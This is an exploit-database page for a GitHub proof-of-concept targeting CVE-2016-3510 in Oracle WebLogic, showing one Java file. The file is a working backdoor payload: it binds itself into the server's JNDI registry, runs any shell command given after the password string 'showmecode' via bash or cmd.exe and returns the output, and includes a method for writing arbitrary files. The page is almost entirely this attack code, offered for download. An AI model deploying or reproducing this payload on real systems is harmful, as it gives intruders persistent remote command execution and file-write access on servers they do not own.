Exploit database

GH-ba656beb7c6396b0d3855cc5b877631e

babyteam1024/cve-2016-3510

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2016-3510

16 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2
babyteam1024/cve-2016-3510Revision cf2c6f016256

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

src/com/supeream/payload/RemoteImpl.java

Java · 3,080 bytes
package com.supeream.payload;

//import sun.tools.asm.TryData;
import weblogic.cluster.singleton.ClusterMasterRemote;
import weblogic.utils.encoders.BASE64Decoder;

import javax.naming.Context;
import javax.naming.InitialContext;
import java.io.BufferedReader;
import java.io.FileOutputStream;
import java.io.InputStreamReader;
import java.rmi.RemoteException;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;

/**
 * Created by nike on 17/6/27.
 */

public class RemoteImpl implements ClusterMasterRemote {

    public static void main(String[] args) {

        try {
            RemoteImpl remote = new RemoteImpl();

            if (args.length == 2 && args[0].equalsIgnoreCase("blind")) {
                remote.getServerLocation(args[1]);
            } else if (args.length == 1) {
                Context ctx = new InitialContext();
                if (args[0].equalsIgnoreCase("install")) {
                    ctx.rebind("supeream", remote);
                } else if (args[0].equalsIgnoreCase("uninstall")) {
                    ctx.unbind("supeream");
                }
            }
        } catch (Exception e) {

        }
    }


    @Override
    public void setServerLocation(String cmd, String args) throws RemoteException {

    }

    public static void uploadFile(String path, byte[] content) {
        try {
            FileOutputStream fileOutputStream = new FileOutputStream(path);
            fileOutputStream.write(content);
            fileOutputStream.flush();
            fileOutputStream.close();
        }catch (Exception e) {

        }
    }


    @Override
    public String getServerLocation(String cmd) throws RemoteException {
        try {

            if (!cmd.startsWith("showmecode")) {
                return "guess me?";
            } else {
                cmd = cmd.substring(10);
            }

            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }

            List<String> cmds = new ArrayList<String>();

            if (cmd.startsWith("$NO$")) {
                cmds.add(cmd.substring(4));
            }else if (isLinux) {
                cmds.add("/bin/bash");
                cmds.add("-c");
                cmds.add(cmd);
            } else {
                cmds.add("cmd.exe");
                cmds.add("/c");
                cmds.add(cmd);
            }

            ProcessBuilder processBuilder = new ProcessBuilder(cmds);
            processBuilder.redirectErrorStream(true);
            Process proc = processBuilder.start();

            BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
            StringBuffer sb = new StringBuffer();

            String line;
            while ((line = br.readLine()) != null) {
                sb.append(line).append("\n");
            }

            return sb.toString();
        } catch (Exception e) {
            return e.getMessage();
        }
    }
}